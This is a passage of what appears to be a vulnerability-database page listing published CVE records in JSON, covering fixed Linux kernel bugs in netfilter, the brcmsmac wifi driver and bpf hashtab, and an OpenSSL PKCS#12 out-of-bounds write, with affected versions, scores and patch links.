                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "6.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.7.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: reject mismatching sum of field_len with set key length\n\nThe field length description provides the length of each separated key\nfield in the concatenation, each field gets rounded up to 32-bits to\ncalculate the pipapo rule width from pipapo_init(). The set key length\nprovides the total size of the key aligned to 32-bits.\n\nRegister-based arithmetics still allows for combining mismatching set\nkey length and field length description, eg. set key length 10 and field\ndescription [ 5, 4 ] leading to pipapo width of 12."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:07:16.254Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/6b467c8feac759f4c5c86d708beca2aa2b29584f"
        },
        {
          "url": "https://git.kernel.org/stable/c/5083a7ae45003456c253e981b30a43f71230b4a3"
        },
        {
          "url": "https://git.kernel.org/stable/c/2ac254343d3cf228ae0738b2615fedf85d000752"
        },
        {
          "url": "https://git.kernel.org/stable/c/82e491e085719068179ff6a5466b7387cc4bbf32"
        },
        {
          "url": "https://git.kernel.org/stable/c/49b7182b97bafbd5645414aff054b4a65d05823d"
        },
        {
          "url": "https://git.kernel.org/stable/c/ab50d0eff4a939d20c37721fd9766347efcdb6f6"
        },
        {
          "url": "https://git.kernel.org/stable/c/1b9335a8000fb70742f7db10af314104b6ace220"
        }
      ],
      "title": "netfilter: nf_tables: reject mismatching sum of field_len with set key length",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21826",
    "datePublished": "2025-03-06T16:04:32.274Z",
    "dateReserved": "2024-12-29T08:45:45.775Z",
    "dateUpdated": "2026-05-12T12:03:59.800Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-58014 (GCVE-0-2024-58014)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:12 – Updated: 2026-05-12 12:01

Title

wifi: brcmsmac: add gain range check to wlc_phy_iqcal_gainparams_nphy()

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: brcmsmac: add gain range check to wlc_phy_iqcal_gainparams_nphy() In 'wlc_phy_iqcal_gainparams_nphy()', add gain range check to WARN() instead of possible out-of-bounds 'tbl_iqcal_gainparams_nphy' access. Compile tested only. Found by Linux Verification Center (linuxtesting.org) with SVACE.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/0a457223cb2b9ca46…
https://git.kernel.org/stable/c/13ef16c4fe384b1e7…
https://git.kernel.org/stable/c/d280a12e9b87819a8…
https://git.kernel.org/stable/c/ada9df08b3ef68350…
https://git.kernel.org/stable/c/093286c33409bf388…
https://git.kernel.org/stable/c/c27ce584d274f6ad3…
https://git.kernel.org/stable/c/6f6e293246dc1f5b2…
https://git.kernel.org/stable/c/3f4a0948c3524ae50…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5b435de0d786869c95d1962121af0d7df2542009 , < 0a457223cb2b9ca46bae7de387d0f4c093b0220d (git) Affected: 5b435de0d786869c95d1962121af0d7df2542009 , < 13ef16c4fe384b1e70277bbe1d87934ee6c81e12 (git) Affected: 5b435de0d786869c95d1962121af0d7df2542009 , < d280a12e9b87819a8a209639d600b48a2d6d65dc (git) Affected: 5b435de0d786869c95d1962121af0d7df2542009 , < ada9df08b3ef683507e75b92f522fb659260147f (git) Affected: 5b435de0d786869c95d1962121af0d7df2542009 , < 093286c33409bf38896f2dab0c0bb6ca388afb33 (git) Affected: 5b435de0d786869c95d1962121af0d7df2542009 , < c27ce584d274f6ad3cba2294497de824a3c66646 (git) Affected: 5b435de0d786869c95d1962121af0d7df2542009 , < 6f6e293246dc1f5b2b6b3d0f2d757598489cda79 (git) Affected: 5b435de0d786869c95d1962121af0d7df2542009 , < 3f4a0948c3524ae50f166dbc6572a3296b014e62 (git)
Linux	Linux	Affected: 3.2 Unaffected: 0 , < 3.2 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.78 , ≤ 6.6.* (semver) Unaffected: 6.12.14 , ≤ 6.12.* (semver) Unaffected: 6.13.3 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:33:31.112Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:52.471Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/broadcom/brcm80211/brcmsmac/phy/phy_n.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0a457223cb2b9ca46bae7de387d0f4c093b0220d",
              "status": "affected",
              "version": "5b435de0d786869c95d1962121af0d7df2542009",
              "versionType": "git"
            },
            {
              "lessThan": "13ef16c4fe384b1e70277bbe1d87934ee6c81e12",
              "status": "affected",
              "version": "5b435de0d786869c95d1962121af0d7df2542009",
              "versionType": "git"
            },
            {
              "lessThan": "d280a12e9b87819a8a209639d600b48a2d6d65dc",
              "status": "affected",
              "version": "5b435de0d786869c95d1962121af0d7df2542009",
              "versionType": "git"
            },
            {
              "lessThan": "ada9df08b3ef683507e75b92f522fb659260147f",
              "status": "affected",
              "version": "5b435de0d786869c95d1962121af0d7df2542009",
              "versionType": "git"
            },
            {
              "lessThan": "093286c33409bf38896f2dab0c0bb6ca388afb33",
              "status": "affected",
              "version": "5b435de0d786869c95d1962121af0d7df2542009",
              "versionType": "git"
            },
            {
              "lessThan": "c27ce584d274f6ad3cba2294497de824a3c66646",
              "status": "affected",
              "version": "5b435de0d786869c95d1962121af0d7df2542009",
              "versionType": "git"
            },
            {
              "lessThan": "6f6e293246dc1f5b2b6b3d0f2d757598489cda79",
              "status": "affected",
              "version": "5b435de0d786869c95d1962121af0d7df2542009",
              "versionType": "git"
            },
            {
              "lessThan": "3f4a0948c3524ae50f166dbc6572a3296b014e62",
              "status": "affected",
              "version": "5b435de0d786869c95d1962121af0d7df2542009",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/broadcom/brcm80211/brcmsmac/phy/phy_n.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.2"
            },
            {
              "lessThan": "3.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.78",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.78",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.14",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.3",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: brcmsmac: add gain range check to wlc_phy_iqcal_gainparams_nphy()\n\nIn \u0027wlc_phy_iqcal_gainparams_nphy()\u0027, add gain range check to WARN()\ninstead of possible out-of-bounds \u0027tbl_iqcal_gainparams_nphy\u0027 access.\nCompile tested only.\n\nFound by Linux Verification Center (linuxtesting.org) with SVACE."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:02:07.905Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0a457223cb2b9ca46bae7de387d0f4c093b0220d"
        },
        {
          "url": "https://git.kernel.org/stable/c/13ef16c4fe384b1e70277bbe1d87934ee6c81e12"
        },
        {
          "url": "https://git.kernel.org/stable/c/d280a12e9b87819a8a209639d600b48a2d6d65dc"
        },
        {
          "url": "https://git.kernel.org/stable/c/ada9df08b3ef683507e75b92f522fb659260147f"
        },
        {
          "url": "https://git.kernel.org/stable/c/093286c33409bf38896f2dab0c0bb6ca388afb33"
        },
        {
          "url": "https://git.kernel.org/stable/c/c27ce584d274f6ad3cba2294497de824a3c66646"
        },
        {
          "url": "https://git.kernel.org/stable/c/6f6e293246dc1f5b2b6b3d0f2d757598489cda79"
        },
        {
          "url": "https://git.kernel.org/stable/c/3f4a0948c3524ae50f166dbc6572a3296b014e62"
        }
      ],
      "title": "wifi: brcmsmac: add gain range check to wlc_phy_iqcal_gainparams_nphy()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-58014",
    "datePublished": "2025-02-27T02:12:07.344Z",
    "dateReserved": "2025-02-27T02:10:48.227Z",
    "dateUpdated": "2026-05-12T12:01:52.471Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-69419 (GCVE-0-2025-69419)

Vulnerability from cvelistv5 – Published: 2026-01-27 16:01 – Updated: 2026-05-12 12:08

Title

Out of bounds write in PKCS12_get_friendlyname() UTF-8 conversion

Summary

Issue summary: Calling PKCS12_get_friendlyname() function on a maliciously crafted PKCS#12 file with a BMPString (UTF-16BE) friendly name containing non-ASCII BMP code point can trigger a one byte write before the allocated buffer. Impact summary: The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service. The OPENSSL_uni2utf8() function performs a two-pass conversion of a PKCS#12 BMPString (UTF-16BE) to UTF-8. In the second pass, when emitting UTF-8 bytes, the helper function bmp_to_utf8() incorrectly forwards the remaining UTF-16 source byte count as the destination buffer capacity to UTF8_putc(). For BMP code points above U+07FF, UTF-8 requires three bytes, but the forwarded capacity can be just two bytes. UTF8_putc() then returns -1, and this negative value is added to the output length without validation, causing the length to become negative. The subsequent trailing NUL byte is then written at a negative offset, causing write outside of heap allocated buffer. The vulnerability is reachable via the public PKCS12_get_friendlyname() API when parsing attacker-controlled PKCS#12 files. While PKCS12_parse() uses a different code path that avoids this issue, PKCS12_get_friendlyname() directly invokes the vulnerable function. Exploitation requires an attacker to provide a malicious PKCS#12 file to be parsed by the application and the attacker can just trigger a one zero byte write before the allocated buffer. For that reason the issue was assessed as Low severity according to our Security Policy. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS#12 implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue. OpenSSL 1.0.2 is not affected by this issue.

Severity ?

No CVSS data available.

CWE

CWE-787 - Out-of-bounds Write

Assigner

openssl

References

6 references

URL	Tags
https://openssl-library.org/news/secadv/20260127.txt	vendor-advisory
https://github.com/openssl/openssl/commit/7e9cac9…	patch
https://github.com/openssl/openssl/commit/ff62893…	patch
https://github.com/openssl/openssl/commit/cda12de…	patch
https://github.com/openssl/openssl/commit/a26a90d…	patch
https://github.com/openssl/openssl/commit/41be0f2…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.6.0 , < 3.6.1 (semver) Affected: 3.5.0 , < 3.5.5 (semver) Affected: 3.4.0 , < 3.4.4 (semver) Affected: 3.3.0 , < 3.3.6 (semver) Affected: 3.0.0 , < 3.0.19 (semver) Affected: 1.1.1 , < 1.1.1ze (custom)

Date Public ?

2026-01-27 14:00

Credits

Stanislav Fort (Aisle Research) Norbert Pócs

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 7.4,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-69419",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-29T15:09:04.605559Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-29T15:09:39.154Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:08:41.952Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.6.1",
              "status": "affected",
              "version": "3.6.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.5.5",
              "status": "affected",
              "version": "3.5.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.4.4",
              "status": "affected",
              "version": "3.4.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.3.6",
              "status": "affected",
              "version": "3.3.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.19",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1ze",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Stanislav Fort (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Norbert P\u00f3cs"
        }
      ],
      "datePublic": "2026-01-27T14:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: Calling PKCS12_get_friendlyname() function on a maliciously\u003cbr\u003ecrafted PKCS#12 file with a BMPString (UTF-16BE) friendly name containing\u003cbr\u003enon-ASCII BMP code point can trigger a one byte write before the allocated\u003cbr\u003ebuffer.\u003cbr\u003e\u003cbr\u003eImpact summary: The out-of-bounds write can cause a memory corruption\u003cbr\u003ewhich can have various consequences including a Denial of Service.\u003cbr\u003e\u003cbr\u003eThe OPENSSL_uni2utf8() function performs a two-pass conversion of a PKCS#12\u003cbr\u003eBMPString (UTF-16BE) to UTF-8. In the second pass, when emitting UTF-8 bytes,\u003cbr\u003ethe helper function bmp_to_utf8() incorrectly forwards the remaining UTF-16\u003cbr\u003esource byte count as the destination buffer capacity to UTF8_putc(). For BMP\u003cbr\u003ecode points above U+07FF, UTF-8 requires three bytes, but the forwarded\u003cbr\u003ecapacity can be just two bytes. UTF8_putc() then returns -1, and this negative\u003cbr\u003evalue is added to the output length without validation, causing the\u003cbr\u003elength to become negative. The subsequent trailing NUL byte is then written\u003cbr\u003eat a negative offset, causing write outside of heap allocated buffer.\u003cbr\u003e\u003cbr\u003eThe vulnerability is reachable via the public PKCS12_get_friendlyname() API\u003cbr\u003ewhen parsing attacker-controlled PKCS#12 files. While PKCS12_parse() uses a\u003cbr\u003edifferent code path that avoids this issue, PKCS12_get_friendlyname() directly\u003cbr\u003einvokes the vulnerable function. Exploitation requires an attacker to provide\u003cbr\u003ea malicious PKCS#12 file to be parsed by the application and the attacker\u003cbr\u003ecan just trigger a one zero byte write before the allocated buffer.\u003cbr\u003eFor that reason the issue was assessed as Low severity according to our\u003cbr\u003eSecurity Policy.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\u003cbr\u003eas the PKCS#12 implementation is outside the OpenSSL FIPS module boundary.\u003cbr\u003e\u003cbr\u003eOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.\u003cbr\u003e\u003cbr\u003eOpenSSL 1.0.2 is not affected by this issue."
            }
          ],
          "value": "Issue summary: Calling PKCS12_get_friendlyname() function on a maliciously\ncrafted PKCS#12 file with a BMPString (UTF-16BE) friendly name containing\nnon-ASCII BMP code point can trigger a one byte write before the allocated\nbuffer.\n\nImpact summary: The out-of-bounds write can cause a memory corruption\nwhich can have various consequences including a Denial of Service.\n\nThe OPENSSL_uni2utf8() function performs a two-pass conversion of a PKCS#12\nBMPString (UTF-16BE) to UTF-8. In the second pass, when emitting UTF-8 bytes,\nthe helper function bmp_to_utf8() incorrectly forwards the remaining UTF-16\nsource byte count as the destination buffer capacity to UTF8_putc(). For BMP\ncode points above U+07FF, UTF-8 requires three bytes, but the forwarded\ncapacity can be just two bytes. UTF8_putc() then returns -1, and this negative\nvalue is added to the output length without validation, causing the\nlength to become negative. The subsequent trailing NUL byte is then written\nat a negative offset, causing write outside of heap allocated buffer.\n\nThe vulnerability is reachable via the public PKCS12_get_friendlyname() API\nwhen parsing attacker-controlled PKCS#12 files. While PKCS12_parse() uses a\ndifferent code path that avoids this issue, PKCS12_get_friendlyname() directly\ninvokes the vulnerable function. Exploitation requires an attacker to provide\na malicious PKCS#12 file to be parsed by the application and the attacker\ncan just trigger a one zero byte write before the allocated buffer.\nFor that reason the issue was assessed as Low severity according to our\nSecurity Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the PKCS#12 implementation is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.\n\nOpenSSL 1.0.2 is not affected by this issue."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://openssl-library.org/policies/general/security-policy/"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-787",
              "description": "CWE-787 Out-of-bounds Write",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-27T16:01:24.822Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://openssl-library.org/news/secadv/20260127.txt"
        },
        {
          "name": "3.6.1 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/7e9cac9832e4705b91987c2474ed06a37a93cecb"
        },
        {
          "name": "3.5.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/ff628933755075446bca8307e8417c14d164b535"
        },
        {
          "name": "3.4.4 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/cda12de3bc0e333ea8d2c6fd15001dbdaf280015"
        },
        {
          "name": "3.3.6 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/a26a90d38edec3748566129d824e664b54bee2e2"
        },
        {
          "name": "3.0.19 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/41be0f216404f14457bbf3b9cc488dba60b49296"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Out of bounds write in PKCS12_get_friendlyname() UTF-8 conversion",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2025-69419",
    "datePublished": "2026-01-27T16:01:24.822Z",
    "dateReserved": "2026-01-06T12:44:09.945Z",
    "dateUpdated": "2026-05-12T12:08:41.952Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26884 (GCVE-0-2024-26884)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:50

Title

bpf: Fix hashtab overflow check on 32-bit arches

Summary

In the Linux kernel, the following vulnerability has been resolved: bpf: Fix hashtab overflow check on 32-bit arches The hashtab code relies on roundup_pow_of_two() to compute the number of hash buckets, and contains an overflow check by checking if the resulting value is 0. However, on 32-bit arches, the roundup code itself can overflow by doing a 32-bit left-shift of an unsigned long value, which is undefined behaviour, so it is not guaranteed to truncate neatly. This was triggered by syzbot on the DEVMAP_HASH type, which contains the same check, copied from the hashtab code. So apply the same fix to hashtab, by moving the overflow check to before the roundup.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-190 - Integer Overflow or Wraparound

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/33ec04cadb77605b7…
https://git.kernel.org/stable/c/92c81fbb3ed2e0dfc…
https://git.kernel.org/stable/c/64f00b4df0597590b…
https://git.kernel.org/stable/c/3b08cfc65f07b1132…
https://git.kernel.org/stable/c/a83fdaeaea3677b83…
https://git.kernel.org/stable/c/8435f0961bf3dc65e…
https://git.kernel.org/stable/c/d817f0d34d927f2de…
https://git.kernel.org/stable/c/a6fa75b5096c0f982…
https://git.kernel.org/stable/c/6787d916c2cf9850c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: daaf427c6ab392bedcd018e326b2ffa1e1110cd6 , < 33ec04cadb77605b71d9298311919303d390c4d5 (git) Affected: daaf427c6ab392bedcd018e326b2ffa1e1110cd6 , < 92c81fbb3ed2e0dfc33a4183a67135e1ab566ace (git) Affected: daaf427c6ab392bedcd018e326b2ffa1e1110cd6 , < 64f00b4df0597590b199b62a37a165473bf658a6 (git) Affected: daaf427c6ab392bedcd018e326b2ffa1e1110cd6 , < 3b08cfc65f07b1132c1979d73f014ae6e04de55d (git) Affected: daaf427c6ab392bedcd018e326b2ffa1e1110cd6 , < a83fdaeaea3677b83a53f72ace2d73a19bcd6d93 (git) Affected: daaf427c6ab392bedcd018e326b2ffa1e1110cd6 , < 8435f0961bf3dc65e204094349bd9aeaac1f8868 (git) Affected: daaf427c6ab392bedcd018e326b2ffa1e1110cd6 , < d817f0d34d927f2deb17dadbfe212c9a6a32ac3e (git) Affected: daaf427c6ab392bedcd018e326b2ffa1e1110cd6 , < a6fa75b5096c0f9826a4fabe22d907b0a5bb1016 (git) Affected: daaf427c6ab392bedcd018e326b2ffa1e1110cd6 , < 6787d916c2cf9850c97a0a3f73e08c43e7d973b1 (git)
Linux	Linux	Affected: 3.19 Unaffected: 0 , < 3.19 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-26884",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-30T19:28:25.440727Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-190",
                "description": "CWE-190 Integer Overflow or Wraparound",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-30T19:29:01.146Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.540Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/33ec04cadb77605b71d9298311919303d390c4d5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/92c81fbb3ed2e0dfc33a4183a67135e1ab566ace"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/64f00b4df0597590b199b62a37a165473bf658a6"
          },
          {
            "tags": [
              "x_transferred"
            ],
